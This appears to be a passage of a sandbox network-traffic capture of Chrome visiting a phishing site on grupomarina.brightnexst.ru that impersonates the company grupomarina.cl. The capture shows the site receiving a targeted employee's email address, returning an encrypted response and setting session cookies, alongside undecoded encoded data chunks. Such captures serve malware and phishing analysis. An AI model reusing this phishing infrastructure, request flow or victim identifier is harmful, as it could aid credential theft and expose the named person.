2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 6a 67 4d 4b 79 67 37 4c 57 59 44 50 68 45 32 4a 43 30 31 44 56 56 56 4f 7a 51 68 4f 41 77 42 4d 6a 67 79 54 41 41 69 42 6a 45 68 41 68 73 6f 54 6e 63 46 4d 7a 55 39 46 77 35 67 42 53 4a 59 58 42 41 56 49 58 38 62 61 6a 73 49 56 54 73 38 50 6a 30 51 41 6d 6f 76 4e 6e 59 70 45 47 41 36 5a 53 30 50 4e 78 42 51 4b 7a 52 69 46 51 4e 32 4c 54 45 6d 44 56 77 54 43 69 59 6e 46 51 78 56 4c 6e 30 76 4d 7a 55 39 45 44 63 69 42 53 31 59 48 79 67 47 51 42 38 47 47 79 41 43 66 53 38 7a 4e 54 30 58 44 54 45 44 56 32 5a 5a 4f 78 6f 48 48 77 59 62 49 41 4a 39 4c 7a 4d 31 50 52 63 4f 50 79 67 6d 64 51 73 6f 50 30 30 68 4b 78 74 51 43 47 30 37 51 79 49 57 48 43 52 75 4b 43 42 79 46 52 4d 46 4d 69 63 44 47 79 4d 66 62 54 74 48 4b 44 67 4d 41 54 51 43 43 46 67 42 50 53 55 62 Data Ascii: jgMKyg7LWYDPhE2JC01DVVVOzQhOAwBMjgyTAAiBjEhAhsoTncFMzU9Fw5gBSJYXBAVIX8bajsIVTs8Pj0QAmovNnYpEGA6ZS0PNxBQKzRiFQN2LTEmDVwTCiYnFQxVLn0vMzU9EDciBS1YHygGQB8GGyACfS8zNT0XDTEDV2ZZOxoHHwYbIAJ9LzM1PRcOPygmdQsoP00hKxtQCG07QyIWHCRuKCByFRMFMicDGyMfbTtHKDgMATQCCFgBPSUb
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 4d 61 45 52 5a 41 48 77 77 78 49 41 4a 39 4c 7a 4e 71 46 52 41 47 63 7a 4a 58 59 6c 6b 37 46 79 34 34 46 67 41 7a 56 46 63 42 4a 43 67 6b 46 33 59 33 4c 41 38 41 4a 7a 73 52 4e 54 4d 47 48 42 6c 55 56 69 68 47 47 54 30 58 44 6a 38 6f 4a 6e 55 4c 4f 78 45 31 62 43 30 66 43 6b 35 6b 4a 44 78 69 46 7a 6c 32 4c 54 73 66 41 53 49 54 42 54 6f 74 4c 57 73 76 45 32 34 43 49 7a 55 69 5a 6e 59 68 4f 79 5a 32 50 42 41 2f 44 43 51 74 4e 54 52 54 5a 43 39 4c 4b 42 41 63 42 53 34 44 43 46 64 48 4f 78 63 36 4c 52 55 50 4a 31 56 75 50 7a 41 36 46 6a 6b 65 50 7a 73 79 5a 68 77 57 45 54 59 2f 4c 57 6f 76 56 46 59 37 4a 43 63 51 48 41 49 2f 41 44 49 41 43 78 45 2f 49 6a 77 74 47 31 42 56 56 54 74 44 50 6a 67 2b 4f 43 34 44 49 6c 39 48 4d 54 73 31 4d 77 59 62 49 41 4a 39 4c Data Ascii: MaERZAHwwxIAJ9LzNqFRAGczJXYlk7Fy44FgAzVFcBJCgkF3Y3LA8AJzsRNTMGHBlUVihGGT0XDj8oJnULOxE1bC0fCk5kJDxiFzl2LTsfASITBTotLWsvE24CIzUiZnYhOyZ2PBA/DCQtNTRTZC9LKBAcBS4DCFdHOxc6LRUPJ1VuPzA6FjkePzsyZhwWETY/LWovVFY7JCcQHAI/ADIACxE/IjwtG1BVVTtDPjg+OC4DIl9HMTs1MwYbIAJ9L
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 2f 44 69 35 39 4c 7a 4d 31 50 52 41 33 4e 79 77 50 41 54 67 57 43 6a 59 6a 4c 57 73 72 56 57 51 76 53 7a 30 35 50 6e 73 54 4b 43 5a 31 43 7a 73 57 44 43 4d 66 4d 7a 73 54 56 77 55 77 4f 69 34 54 48 53 67 46 49 6c 67 61 45 44 38 79 4a 77 59 66 43 51 6c 57 4a 44 4d 68 50 52 77 56 4b 41 4a 58 57 46 77 37 47 69 59 37 46 51 73 67 58 57 30 2f 4d 44 30 58 4f 52 6b 31 4d 54 5a 2b 41 78 59 61 4a 69 4d 73 49 67 34 54 65 46 38 38 59 78 63 63 44 53 34 43 43 32 55 5a 45 41 55 59 50 69 77 31 57 42 39 57 58 69 68 69 4f 44 6b 42 4c 67 4d 32 44 51 41 51 4f 30 56 6c 4c 43 46 59 45 32 34 42 4b 43 49 74 5a 68 6f 78 4b 43 31 6d 42 42 45 2f 45 44 67 72 48 46 45 4d 62 46 34 34 49 53 30 44 65 69 6f 6f 44 77 45 38 4b 44 38 75 4a 42 5a 71 4e 41 4a 35 46 69 74 6a 50 52 49 42 61 51 Data Ascii: /Di59LzM1PRA3NywPATgWCjYjLWsrVWQvSz05PnsTKCZ1CzsWDCMfMzsTVwUwOi4THSgFIlgaED8yJwYfCQlWJDMhPRwVKAJXWFw7GiY7FQsgXW0/MD0XORk1MTZ+AxYaJiMsIg4TeF88YxccDS4CC2UZEAUYPiw1WB9WXihiODkBLgM2DQAQO0VlLCFYE24BKCItZhoxKC1mBBE/EDgrHFEMbF44IS0DeiooDwE8KD8uJBZqNAJ5FitjPRIBaQ
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 55 57 4d 4e 64 77 5a 4a 46 45 74 56 65 31 6f 6d 4b 69 67 4e 42 46 63 4a 57 6e 31 52 59 77 74 33 42 6b 6b 55 53 31 56 37 54 31 6c 46 65 45 46 46 46 45 78 53 63 6c 51 38 4e 51 38 5a 4b 58 6b 6d 48 52 63 42 64 48 4a 34 51 30 63 50 59 58 68 79 56 48 52 76 65 45 46 46 46 42 38 6d 45 51 4d 35 4a 78 73 4c 41 45 52 4d 54 33 4a 57 64 6e 52 56 61 30 55 55 54 46 49 76 65 56 35 76 65 45 46 46 58 51 70 53 65 67 4d 39 49 54 77 4f 45 68 6f 41 48 54 45 56 49 43 59 33 44 30 74 63 48 68 63 30 57 6a 30 68 4f 77 30 51 55 41 6b 42 65 6c 4e 77 61 48 46 49 52 55 39 68 65 48 4a 55 64 47 39 34 51 55 55 55 46 42 51 51 44 41 49 6c 48 42 67 73 5a 6b 78 50 63 6c 59 44 48 6e 70 4b 45 6c 30 43 46 6a 30 44 65 69 4d 33 41 67 52 41 42 52 30 38 57 6a 77 39 50 51 64 4c 52 78 77 65 4f 77 42 Data Ascii: UWMNdwZJFEtVe1omKigNBFcJWn1RYwt3BkkUS1V7T1lFeEFFFExSclQ8NQ8ZKXkmHRcBdHJ4Q0cPYXhyVHRveEFFFB8mEQM5JxsLAERMT3JWdnRVa0UUTFIveV5veEFFXQpSegM9ITwOEhoAHTEVICY3D0tcHhc0Wj0hOw0QUAkBelNwaHFIRU9heHJUdG94QUUUFBQQDAIlHBgsZkxPclYDHnpKEl0CFj0DeiM3AgRABR08Wjw9PQdLRxweOwB
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 6a 73 78 50 68 67 37 44 58 46 49 52 51 6c 52 55 6a 63 31 4f 43 45 50 49 67 6c 59 41 7a 42 70 65 56 35 76 65 45 46 46 53 55 77 52 4d 77 41 33 4a 33 68 4a 41 45 59 65 57 33 49 50 57 55 56 34 51 55 55 55 54 46 4a 79 56 43 59 71 4c 42 51 58 57 6b 77 55 4d 78 67 6e 4b 6d 4e 73 62 78 52 4d 55 6e 49 4a 57 55 55 6c 62 47 39 64 43 6c 6f 71 45 68 59 33 44 67 73 68 54 53 55 67 63 6b 6c 70 62 33 70 44 54 45 39 68 65 48 4a 55 64 47 38 33 4b 42 56 75 4a 54 6b 65 48 67 4d 69 63 45 4e 61 46 6b 78 5a 63 68 77 75 47 43 41 74 4b 48 34 44 4e 79 64 64 62 30 4a 53 48 47 67 2b 42 52 52 36 44 44 49 4e 49 44 63 50 63 42 55 37 41 46 52 31 63 6d 56 42 52 78 5a 46 43 56 39 2b 64 47 39 34 51 51 78 53 54 46 6f 6f 4d 77 4d 73 45 42 41 6b 64 69 6f 7a 65 67 77 79 44 53 41 33 44 33 41 56 Data Ascii: jsxPhg7DXFIRQlRUjc1OCEPIglYAzBpeV5veEFFSUwRMwA3J3hJAEYeW3IPWUV4QUUUTFJyVCYqLBQXWkwUMxgnKmNsbxRMUnIJWUUlbG9dCloqEhY3DgshTSUgcklpb3pDTE9heHJUdG83KBVuJTkeHgMicENaFkxZchwuGCAtKH4DNyddb0JSHGg+BRR6DDINIDcPcBU7AFR1cmVBRxZFCV9+dG94QQxSTFooMwMsEBAkdiozegwyDSA3D3AV
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 70 42 54 68 51 45 43 41 55 4d 47 41 49 53 44 69 42 42 54 46 6c 79 42 77 41 4d 4c 77 77 4e 64 77 59 58 49 6c 52 2f 62 79 30 50 49 33 6b 5a 50 6a 63 5a 4f 67 64 32 45 77 42 45 41 42 4d 78 45 58 78 67 66 56 56 56 47 77 74 65 63 6c 4d 55 61 48 46 50 46 31 45 63 48 6a 4d 58 4d 57 64 33 52 46 4a 32 51 78 56 2b 56 48 4d 30 66 30 68 4c 52 67 6b 43 50 68 55 33 4b 6e 42 4f 51 41 4d 6f 58 54 56 59 64 47 67 6c 52 6b 77 64 56 33 39 59 56 48 52 76 65 42 78 6f 50 68 46 53 4e 78 67 6e 4b 6e 67 61 61 44 35 4d 55 6e 4a 55 49 69 34 71 51 52 42 61 4b 6a 38 6e 4f 44 45 69 4e 69 6c 46 43 55 78 61 4b 68 49 57 4e 77 34 4c 49 55 30 6c 49 48 77 5a 4e 54 73 37 43 55 30 62 4e 79 34 6c 57 6e 6b 53 63 6c 78 61 62 7a 41 46 66 46 6b 4a 5a 48 42 65 58 33 51 51 56 32 5a 45 66 52 51 35 54 Data Ascii: pBThQECAUMGAISDiBBTFlyBwAMLwwNdwYXIlR/by0PI3kZPjcZOgd2EwBEABMxEXxgfVVVGwteclMUaHFPF1EcHjMXMWd3RFJ2QxV+VHM0f0hLRgkCPhU3KnBOQAMoXTVYdGglRkwdV39YVHRveBxoPhFSNxgnKngaaD5MUnJUIi4qQRBaKj8nODEiNilFCUxaKhIWNw4LIU0lIHwZNTs7CU0bNy4lWnkSclxabzAFfFkJZHBeX3QQV2ZEfRQ5T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49729	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:11 UTC	1148	OUT	GET /nm6KwyhgTPlcdaTFM6w4Te3A1nGYYINg9w5 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlF2blkwdUpsTEdtemg1TEJsQ0RZY1E9PSIsInZhbHVlIjoiQzBmbnBLRVN2LzlKdGs0aEFOYmJYRDEwUUZvOElVWUZYT2FQYTBZWm1NWlNEY0V6L2JMdWQ0OWhjT0dZZG9EcGdYaS9NZ3R6QWNoOUVDcW5JVXVrZGVOSVBZYXRGemxMc2JENGd3dytBRE5rSzdKY1RaY2xta2VWMjRFTGduakciLCJtYWMiOiIyZWZiODJiNjQ5YjIxZDU4ZGVkMmU1MzA4OWQzODllOWQzZTYwZmU3MzMyMGZhNjUxN2IzOGVmMjBlMmIxNDkyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQR3kxT1U3eTRvL3VJRVdIV0pOWlE9PSIsInZhbHVlIjoiWGRFMzBHUStkdDV3c1BGWU5rd3l5STdDNjZpQnBpbTBBbjRrRFNXUmxDb1d6S3FmeitYY1VObzRIb3Z3THE1THhUYXk3OTNpbk83MkoyY2I1YWdaVmhTa0RxQW9ZaGlrTGowVlN5bVR2YXl2ZXBPaG5LeWZ4UGxqNEV6VTkxVFMiLCJtYWMiOiIxYzAzZmM2MDlmNjMwY2ExZWMwNmFjZTY2Yzk2Njk1MTA2YTI5OTQyNjkyZTkyM2E5YWU0MGEwZDk0N2UwNTI5IiwidGFnIjoiIn0%3D
2025-03-17 20:55:11 UTC	1025	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 20:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M38fjdfrZwMhGFgUDmUvPM9bt5QvH3JId4Mx%2BqAaPhycRfw1luQ6fV4eKXgcqlgHJsfyB5s7OV3viqiNx1SobaJGrA1NNUK%2F5ODu%2BVstk%2Ftq9UHQsKR%2BxefYBWT2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1512&min_rtt=1332&rtt_var=492&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2059&delivery_rate=1991746&cwnd=251&unsent_bytes=0&cid=4e1a2a2ba52e5651&ts=87&x=0" Server: cloudflare CF-RAY: 921f63c7ea698cbd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1789&rtt_var=681&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1720&delivery_rate=1596500&cwnd=183&unsent_bytes=0&cid=28ef9c26b81f0ccb&ts=409&x=0"
2025-03-17 20:55:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49727	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:11 UTC	1478	OUT	POST /rqNX84y2LLLeotfXXhDH1k2LmulOVtkFLk3LFLhRu0ew HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Content-Length: 32 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://grupomarina.brightnexst.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://grupomarina.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImY2L3FleFlvRmx1ZmVHMmY1NXRETWc9PSIsInZhbHVlIjoiV01HdnVjLzhnNTZiaWhvYVhqcDdNNUlJejdoVXl3K0pWQlo3TVZxWXkwQjFtTk9xV0FTOXk5YkZFb1p5a1NnR2hsNFo0bXhSVkFIbmFwOTFPSHFaNk5DUVJWc25ERmdBRUVXc05SSGdNYzR1TSsvMGZSWnpMV21vZ1o2OUxQMW8iLCJtYWMiOiI0NjE5YTYwNzJiY2M4NWQyZTNiZTMwOGY4MWE2YTA3NDVjMDM5MGY3ZDE4NjI3YzA3MzhkZDM2Njc4OTM1Nzc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBhWmtrUUJVNmJoNlQ5ZHA2MTU0Wnc9PSIsInZhbHVlIjoiZWhGaENsY05ybkRuWGx1YUlDdlR3TTZGNndSUGtFNlZBQ0l2OFd0VTg2a1hDU1ppdHR3b29SNDg1cUhMRzZWYzE3b1NWZ2RESnFFdDA1N2VjQUdnZi9YZHYxcUJxT2s5SkY3TmFIc0w4aXJZZVA2eXdFZWxQZ2MzaURkTWkzSEEiLCJtYWMiOiI0OWY1OWQ3OTVmMjY4MWI1M2FiYTU1ZjU4N2IzN2M4ZjZiYzJiMGI0NzNiY2Q1NTAzNGM4NWZiNzRmNGQwMzA5IiwidGFnIjoiIn0%3D
2025-03-17 20:55:11 UTC	32	OUT	Data Raw: 64 61 74 61 3d 42 54 73 73 61 6c 61 7a 61 72 25 34 30 67 72 75 70 6f 6d 61 72 69 6e 61 2e 63 6c Data Ascii: data=BTssalazar%40grupomarina.cl
2025-03-17 20:55:12 UTC	1211	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BsnYlq5kaFfH%2FVuZ%2FQkdvnzWRTGaKyzyv2qHx%2FHJOzexCtw1hHbnUJeMlDCDm4U0JqOKuGcg9Id%2BMdlUNwiAM%2FcWed2oTEXaKRFZN9YxNy5P2ClDPLni%2Bc3ZAT0U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1317&min_rtt=1114&rtt_var=492&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2421&delivery_rate=2578806&cwnd=251&unsent_bytes=0&cid=ad81d19bb90cd246&ts=80&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InV6ajB3QzJmbWdEdW80c250Z2ZEd3c9PSIsInZhbHVlIjoiN2V0VFRjc245T3RsSTd2cDVjVUc3RGZudkpxdkdjcVFMTHJmOFJ0ZmdBYlFxRjY2S3NVMS9zcWVvTTZUSGtabHNsVGN4eGMzRU1JZDN2VWFtZjRYQU5hU3UvMW90SUp2S3oyQWUyekhvc3dTSGVsOU9JN3VsUVBrTDRDZjJ5MmgiLCJtYWMiOiJhNTBiZmRiYjYyOGM3YzYxOGZiZGFlZjBlZmU2NzJlOTkzMjhlMmExZGJmYzNlNzE5YWY0NTRhMWI3MmI0ZjczIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 22:55:11 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 20:55:12 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 67 78 4d 55 70 54 59 6b 4a 7a 65 56 5a 51 57 6b 56 54 5a 47 68 78 61 6c 68 45 59 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 33 42 6e 4f 46 56 74 65 55 70 4d 62 48 42 6d 56 46 64 52 59 54 4d 33 55 45 51 32 4c 30 68 75 55 6b 4e 56 55 54 42 4c 51 69 74 50 62 57 30 35 62 54 51 76 54 7a 68 43 4c 33 56 72 4d 6c 70 59 52 44 41 30 4d 69 39 4f 4d 30 68 50 4f 46 56 4f 61 45 46 68 51 32 35 42 57 56 4e 6c 56 56 4a 76 56 6d 39 33 4d 6c 45 77 61 58 64 33 54 6c 46 56 52 46 42 54 4f 44 42 34 4e 30 5a 34 62 6b 4e 4d 55 56 56 4f 62 7a 5a 69 56 55 4a 59 64 6b 56 56 4e 48 64 4f 52 6e 56 78 54 6b 56 6d 52 57 4e 6c 4d 55 64 68 59 55 35 34 64 46 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImgxMUpTYkJzeVZQWkVTZGhxalhEY3c9PSIsInZhbHVlIjoiY3BnOFVteUpMbHBmVFdRYTM3UEQ2L0huUkNVUTBLQitPbW05bTQvTzhCL3VrMlpYRDA0Mi9OM0hPOFVOaEFhQ25BWVNlVVJvVm93MlEwaXd3TlFVRFBTODB4N0Z4bkNMUVVObzZiVUJYdkVVNHdORnVxTkVmRWNlMUdhYU54dFU
2025-03-17 20:55:12 UTC	317	IN	Data Raw: 31 33 36 0d 0a 7b 22 61 22 3a 22 55 6c 69 50 74 78 78 78 75 43 36 46 38 57 51 54 32 56 43 36 52 51 38 70 30 5c 2f 47 2b 30 49 38 62 6b 74 51 41 6c 69 4c 67 33 6b 64 6e 4d 68 79 36 36 73 6e 44 70 32 7a 50 6b 74 34 6d 48 6d 5a 54 79 73 7a 68 6b 4a 49 61 6e 4f 64 72 45 37 7a 59 7a 30 4e 46 57 70 62 31 50 4d 61 6d 67 4d 66 75 58 4d 48 50 63 6c 37 6e 71 2b 53 56 44 6e 71 7a 66 4f 4b 45 76 4e 4b 50 4b 63 4e 59 51 61 66 34 68 79 56 51 74 74 37 70 35 44 61 6d 4b 6a 42 56 76 67 58 33 6d 51 3d 3d 22 2c 22 62 22 3a 22 33 31 32 30 32 38 65 39 38 31 30 35 34 39 39 31 39 30 66 65 61 65 64 63 37 34 32 30 64 36 64 35 22 2c 22 63 22 3a 22 61 39 62 32 63 30 33 66 62 30 36 61 61 37 35 65 31 32 34 61 37 39 66 30 30 33 61 37 34 64 31 38 22 2c 22 64 22 3a 22 36 31 33 33 36 33 Data Ascii: 136{"a":"UliPtxxxuC6F8WQT2VC6RQ8p0\/G+0I8bktQAliLg3kdnMhy66snDp2zPkt4mHmZTyszhkJIanOdrE7zYz0NFWpb1PMamgMfuXMHPcl7nq+SVDnqzfOKEvNKPKcNYQaf4hyVQtt7p5DamKjBVvgX3mQ==","b":"312028e98105499190feaedc7420d6d5","c":"a9b2c03fb06aa75e124a79f003a74d18","d":"613363
2025-03-17 20:55:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49730	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:12 UTC	547	OUT	OPTIONS /report/v4?s=M38fjdfrZwMhGFgUDmUvPM9bt5QvH3JId4Mx%2BqAaPhycRfw1luQ6fV4eKXgcqlgHJsfyB5s7OV3viqiNx1SobaJGrA1NNUK%2F5ODu%2BVstk%2Ftq9UHQsKR%2BxefYBWT2 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://grupomarina.brightnexst.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:12 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 17 Mar 2025 20:55:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49731	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:12 UTC	1510	OUT	GET /AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://grupomarina.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InV6ajB3QzJmbWdEdW80c250Z2ZEd3c9PSIsInZhbHVlIjoiN2V0VFRjc245T3RsSTd2cDVjVUc3RGZudkpxdkdjcVFMTHJmOFJ0ZmdBYlFxRjY2S3NVMS9zcWVvTTZUSGtabHNsVGN4eGMzRU1JZDN2VWFtZjRYQU5hU3UvMW90SUp2S3oyQWUyekhvc3dTSGVsOU9JN3VsUVBrTDRDZjJ5MmgiLCJtYWMiOiJhNTBiZmRiYjYyOGM3YzYxOGZiZGFlZjBlZmU2NzJlOTkzMjhlMmExZGJmYzNlNzE5YWY0NTRhMWI3MmI0ZjczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImgxMUpTYkJzeVZQWkVTZGhxalhEY3c9PSIsInZhbHVlIjoiY3BnOFVteUpMbHBmVFdRYTM3UEQ2L0huUkNVUTBLQitPbW05bTQvTzhCL3VrMlpYRDA0Mi9OM0hPOFVOaEFhQ25BWVNlVVJvVm93MlEwaXd3TlFVRFBTODB4N0Z4bkNMUVVObzZiVUJYdkVVNHdORnVxTkVmRWNlMUdhYU54dFUiLCJtYWMiOiIyZGU3MDU3ZWExNjZkYWU3YTZjODkwM2FkMjY3MjRiYTk0MzA3MjY2ZjEwZjE3MTI0NGE2MjMxY2QzZDgyNTFkIiwidGFnIjoiIn0%3D
2025-03-17 20:55:12 UTC	1212	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dOEHm5%2FkX9ZmRuTD18zKJIma%2BGViMtPjBuUokNQxw%2BXCmtCBZhMY0sjYcW55DcVONX%2BxgxIXtj6Xer%2B1ErKw3xMWrRj%2FmX21unqRT6xvr4higSpDmHhVVZm%2Fk6gN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=3415&min_rtt=3245&rtt_var=1034&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2420&delivery_rate=869147&cwnd=251&unsent_bytes=0&cid=382b5a91eab66573&ts=138&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 22:55:12 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 20:55:12 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 35 49 4d 43 74 68 63 55 35 69 5a 32 49 33 53 45 78 53 64 7a 4a 6f 4e 46 4a 55 55 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 32 56 71 5a 6d 56 4e 51 6d 39 7a 62 44 68 4a 65 6e 5a 49 61 6e 70 68 4f 45 6c 74 4e 7a 45 76 61 57 39 56 63 79 74 73 4d 58 45 79 51 6d 46 4c 57 6e 70 7a 56 30 68 55 65 55 31 5a 4d 30 4d 77 4d 55 46 53 63 46 4a 6c 5a 58 52 76 65 58 70 30 54 7a 64 74 64 47 4a 4b 4b 33 52 72 63 32 4a 31 53 32 78 57 57 57 4a 78 54 33 70 6f 55 56 70 77 54 6a 56 74 4d 44 68 51 62 6a 55 34 57 46 52 4a 5a 47 39 76 52 57 70 55 51 33 45 79 55 6a 46 77 5a 55 30 79 62 46 49 35 59 55 5a 77 4d 6d 6b 35 59 30 35 6f 56 48 52 79 54 57 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWg
